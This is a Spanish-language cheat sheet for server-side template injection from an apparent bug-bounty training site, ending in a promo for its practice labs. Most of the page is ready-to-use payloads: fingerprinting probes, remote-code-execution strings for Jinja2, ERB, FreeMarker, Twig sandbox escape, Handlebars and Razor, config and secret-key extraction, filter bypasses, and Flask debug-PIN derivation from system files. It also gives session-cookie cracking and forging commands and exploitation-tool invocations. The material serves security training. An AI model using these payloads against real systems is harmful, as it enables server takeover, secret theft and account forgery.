Cheatsheet SSTI

Server-Side Template Injection

Referencia rápida

  • El arbol de decision: {{7*7}}=49? -> {{7*"7"}}=7777777 (Jinja2) o 49 (Twig)
  • Buscar SSTI en: generadores de PDF/email, sistemas de plantillas admin, respuestas de error personalizadas
  • Para Jinja2 con filtros estrictos, usar hex encoding (\x5f) o chr() para evitar _ y comillas
  • Twig sandbox escape: sort("call_user_func") permite RCE incluso en modo sandboxed
  • Si Flask tiene debug mode habilitado, calcular el PIN con datos de /proc y /sys

Deteccion y fingerprinting

Fuzzing inicial

${{<%[%'"}}%\

Test matematico Jinja2/TwigSi devuelve 49, es Jinja2 o Twig

{{7*7}}

Distinguir Jinja2 de TwigJinja2 devuelve 7777777, Twig devuelve 49

{{7*'7'}}

Test FreeMarkerSi devuelve 49, es FreeMarker (Java)

${7*7}

Test ERB (Ruby)Si devuelve 49, es ERB

<%= 7*7 %>

Test Razor (.NET)Si devuelve 49, es Razor

@(7*7)

Test Smarty/Mako

${7*7}

Test DjangoSi muestra debug info, es Django

{% debug %}

Jinja2 (Python) - RCE

One-shot RCE via request

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

RCE via subclass chain

{{''.__class__.__mro__[1].__subclasses__()[400]('whoami',shell=True,stdout=-1).communicate()}}

Config y secrets

{{config.items()}}

Django SECRET_KEY

{{settings.SECRET_KEY}}

Filter bypass (hex encoding)Bypass cuando _ esta filtrado

{{request|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")}}

Quote-free (chr encoding)

{{''.__class__.__mro__[1].__subclasses__()[396](chr(105)+chr(100),shell=True,stdout=-1).communicate()[0].strip()}}

Otros motores - RCE

ERB (Ruby) - system

<%= system("whoami") %>

ERB - backticks

<%= `ls /` %>

FreeMarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Twig sandbox escapesort() acepta callback -> call_user_func("system", "id")

{{ ['system','id'] | sort('call_user_func') }}

Handlebars (JS)

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Razor (.NET) - Process

@{var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();}@output

Flask/Werkzeug Debug PIN

Calcular PIN con LFI

Leer:
1. /proc/self/environ (username del proceso)
2. /sys/class/net/eth0/address (MAC en decimal)
3. /etc/machine-id o /proc/sys/kernel/random/boot_id
4. Path a flask/app.py (del traceback)
Calcular: SHA1(public_bits + private_bits) -> PIN

Flask session forgeryCrackear secret key de la session Flask

flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJ...'

Forjar session

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'

Herramientas

SSTImap

Herramienta automatizada de deteccion y explotacion de SSTI multi-engine

python3 sstimap.py -u 'https://target.com/?param=test' --os-cmd 'id'

tplmap

Alternativa a SSTImap con soporte para multiples motores de template

python3 tplmap.py -u 'https://target.com/?name=test' --os-cmd 'id'

fenjing

Generador automatico de payloads Jinja2 con bypass de filtros

python3 -c "from fenjing import exec_cmd_payload; ..."

flask-unsign

Crackear y forjar session cookies de Flask

flask-unsign --unsign --cookie 'eyJ...' --wordlist rockyou.txt

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras